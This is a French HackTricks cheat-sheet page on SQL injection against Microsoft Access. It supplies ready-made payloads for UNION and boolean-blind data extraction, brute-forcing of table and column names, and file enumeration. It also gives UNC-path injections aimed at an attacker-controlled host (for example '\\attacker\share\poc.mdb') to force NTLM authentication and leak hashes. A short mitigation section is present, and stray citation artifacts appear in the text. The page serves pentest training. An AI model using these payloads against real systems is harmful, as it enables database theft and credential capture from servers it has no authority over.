Injection SQL MS Access
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Terrain de jeu en ligne
Limitations de la base de données
Concaténation de chaßnes
La concaténation de chaßnes est possible avec les caractÚres & (%26)
et + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Commentaires
Il n'y a pas de commentaires dans MS Access, mais apparemment, il est possible de supprimer le dernier d'une requĂȘte avec un caractĂšre NULL :
1' union select 1,2 from table%00
Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requĂȘte :
1' UNION SELECT 1,2 FROM table WHERE ''='
RequĂȘtes empilĂ©es
Elles ne sont pas prises en charge.
LIMIT
L'opérateur LIMIT
n'est pas implĂ©mentĂ©. Cependant, il est possible de limiter les rĂ©sultats de la requĂȘte SELECT aux premiĂšres N lignes de la table en utilisant l'opĂ©rateur TOP
. TOP
accepte comme argument un entier, représentant le nombre de lignes à retourner.
1' UNION SELECT TOP 3 attr FROM table%00
Tout comme TOP, vous pouvez utiliser LAST
qui obtiendra les lignes de la fin.
RequĂȘtes UNION / Sous-requĂȘtes
Dans une SQLi, vous voudrez gĂ©nĂ©ralement exĂ©cuter une nouvelle requĂȘte pour extraire des informations d'autres tables. MS Access exige toujours que dans les sous-requĂȘtes ou les requĂȘtes supplĂ©mentaires, un FROM
soit indiqué.
Donc, si vous voulez exécuter un UNION SELECT
ou UNION ALL SELECT
ou un SELECT
entre parenthĂšses dans une condition, vous devez toujours indiquer un FROM
avec un nom de table valide.
Par conséquent, vous devez connaßtre un nom de table valide.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Cela vous permettra d'exfiltrer les valeurs de la table actuelle sans avoir besoin de connaĂźtre le nom de la table.
MS Access permet une syntaxe étrange telle que '1'=2='3'='asd'=false
. Comme d'habitude, l'injection SQL se trouvera dans une clause WHERE
, nous pouvons en abuser.
Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous sachiez (ou deviniez) qu'un nom de colonne est username, et c'est le champ que vous souhaitez exfiltrer. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique des égalités en chaßne est utilisée et potentiellement exfiltrer du contenu avec une injection booléenne en utilisant la fonction Mid
pour obtenir des sous-chaĂźnes.
'=(Mid(username,1,3)='adm')='
Si vous connaissez le nom de la table et la colonne Ă extraire, vous pouvez utiliser une combinaison de Mid
, LAST
et TOP
pour fuiter toutes les informations via une injection SQL booléenne :
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Brute-forcing Table names
En utilisant la technique de chaßnage des égalités, vous pouvez également bruteforcer les noms de tables avec quelque chose comme :
'=(select+top+1+'lala'+from+<table_name>)='
Vous pouvez également utiliser une méthode plus traditionnelle :
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Noms de tables courants de Sqlmap : https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Il y a une autre liste dans http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Noms de colonnes
Vous pouvez brute-forcer les noms de colonnes actuels avec le truc de chaßnage d'égalités avec :
'=column_name='
Ou avec un group by :
-1' GROUP BY column_name%00
Ou vous pouvez forcer par brute les noms de colonnes d'une autre table avec :
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Nous avons déjà discuté de la technique de chaßnage d'égalités pour extraire des données des tables actuelles et d'autres tables. Mais il existe d'autres méthodes :
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
En rĂ©sumĂ©, la requĂȘte utilise une instruction "if-then" afin de dĂ©clencher un "200 OK" en cas de succĂšs ou un "500 Internal Error" sinon. En tirant parti de l'opĂ©rateur TOP 10, il est possible de sĂ©lectionner les dix premiers rĂ©sultats. L'utilisation subsĂ©quente de LAST permet de considĂ©rer uniquement le 10Ăšme tuple. Sur cette valeur, en utilisant l'opĂ©rateur MID, il est possible d'effectuer une simple comparaison de caractĂšres. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
Astuces Basées sur le Temps (Aveugles)
Jet/ACE SQL lui-mĂȘme ne expose pas de fonction native SLEEP()
ou WAITFOR
, donc les injections aveugles basées sur le temps sont limitées. Cependant, vous pouvez toujours introduire un délai mesurable en forçant le moteur à accéder à une ressource réseau qui est lente ou ne répond pas. Parce que le moteur essaiera d'ouvrir le fichier avant de retourner le résultat, le temps de réponse HTTP reflÚte la latence aller-retour vers l'hÎte contrÎlé par l'attaquant.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Point le chemin UNC vers :
- un partage SMB derriĂšre un lien Ă haute latence
- un hĂŽte qui abandonne le handshake TCP aprĂšs
SYN-ACK
- un trou noir de pare-feu
Les secondes supplĂ©mentaires introduites par la recherche distante peuvent ĂȘtre utilisĂ©es comme un oracle de timing hors bande pour des conditions boolĂ©ennes (par exemple, choisir un chemin lent uniquement lorsque le prĂ©dicat injectĂ© est vrai). Microsoft documente le comportement de la base de donnĂ©es distante et le kill-switch associĂ© dans KB5002984. îciteîturn1search0î
Autres fonctions intéressantes
Mid('admin',1,1)
obtenir une sous-chaĂźne Ă partir de la position 1 longueur 1 (la position initiale est 1)LEN('1234')
obtenir la longueur de la chaĂźneASC('A')
obtenir la valeur ascii du caractĂšreCHR(65)
obtenir une chaĂźne Ă partir de la valeur asciiIIF(1=1,'a','b')
si alorsCOUNT(*)
Compter le nombre d'éléments
ĂnumĂ©rer les tables
Depuis ici, vous pouvez voir une requĂȘte pour obtenir les noms des tables :
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Cependant, notez qu'il est trĂšs typique de trouver des injections SQL oĂč vous n'avez pas accĂšs pour lire la table MSysObjects
.
AccĂšs au systĂšme de fichiers
Chemin d'accÚs complet du répertoire racine Web
La connaissance du chemin d'accĂšs absolu du rĂ©pertoire racine web peut faciliter d'autres attaques. Si les erreurs d'application ne sont pas complĂštement dissimulĂ©es, le chemin du rĂ©pertoire peut ĂȘtre dĂ©couvert en essayant de sĂ©lectionner des donnĂ©es Ă partir d'une base de donnĂ©es inexistante.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access répond avec un message d'erreur contenant le chemin d'accÚs complet du répertoire web.
ĂnumĂ©ration de fichiers
Le vecteur d'attaque suivant peut ĂȘtre utilisĂ© pour infĂ©rer l'existence d'un fichier sur le systĂšme de fichiers distant. Si le fichier spĂ©cifiĂ© existe, MS Access dĂ©clenche un message d'erreur informant que le format de la base de donnĂ©es est invalide :
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Une autre façon d'énumérer des fichiers consiste à spécifier un élément database.table. Si le fichier spécifié existe, MS Access affiche un message d'erreur de format de base de données.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Deviner le nom de fichier .mdb
Le nom de fichier de base de donnĂ©es (.mdb) peut ĂȘtre infĂ©rĂ© avec la requĂȘte suivante :
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
OĂč name[i] est un nom de fichier .mdb et realTable est une table existante dans la base de donnĂ©es. Bien que MS Access dĂ©clenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
AccÚs à la base de données distante et vol d'identifiants NTLM (2023)
Depuis Jet 4.0, chaque requĂȘte peut rĂ©fĂ©rencer une table situĂ©e dans un fichier .mdb/.accdb
différent via la clause IN '<path>'
:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
Si l'entrée de l'utilisateur est concaténée dans la partie aprÚs IN (ou dans un appel JOIN ⊠IN
/ OPENROWSET
/ OPENDATASOURCE
), un attaquant peut spécifier un chemin UNC qui pointe vers un hÎte qu'il contrÎle. Le moteur va :
- essayer de s'authentifier via SMB / HTTP pour ouvrir la base de données distante ;
- leak les identifiants NTLM du serveur web (authentification forcée) ;
- analyser le fichier distant â une base de donnĂ©es malformĂ©e ou malveillante peut dĂ©clencher des bugs de corruption de mĂ©moire Jet/ACE qui ont Ă©tĂ© corrigĂ©s plusieurs fois (par exemple, CVE-2021-28455).
Exemple pratique d'injection :
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impact :
- Exfiltration hors bande des hachages Net-NTLMv2 (utilisables pour le relais ou le craquage hors ligne).
- Exécution de code à distance potentielle si un nouveau bug du parseur Jet/ACE est exploité.
AttĂ©nuations (recommandĂ©es mĂȘme pour les applications Classic ASP hĂ©ritĂ©es) :
- Ajoutez la valeur de registre
AllowQueryRemoteTables = 0
sousHKLM\Software\Microsoft\Jet\4.0\Engines
(et sous le chemin ACE équivalent). Cela force Jet/ACE à rejeter les chemins distants commençant par\\
. - Bloquez SMB/WebDAV sortants à la frontiÚre du réseau.
- Assainissez / paramĂ©trez toute partie d'une requĂȘte qui pourrait se retrouver dans une clause
IN
.
Le vecteur d'authentification forcĂ©e a Ă©tĂ© rĂ©examinĂ© par Check Point Research en 2023, prouvant qu'il est toujours exploitable sur Windows Server entiĂšrement patchĂ© lorsque la clĂ© de registre est absente. îciteîturn0search0î
.mdb Password Cracker
Access PassView est un utilitaire gratuit qui peut ĂȘtre utilisĂ© pour rĂ©cupĂ©rer le mot de passe principal de la base de donnĂ©es de Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
Références
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 â Configurer Jet/ACE pour bloquer les tables distantes
- Check Point Research â Abuser des tables liĂ©es de Microsoft Access pour l'authentification forcĂ©e NTLM (2023)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.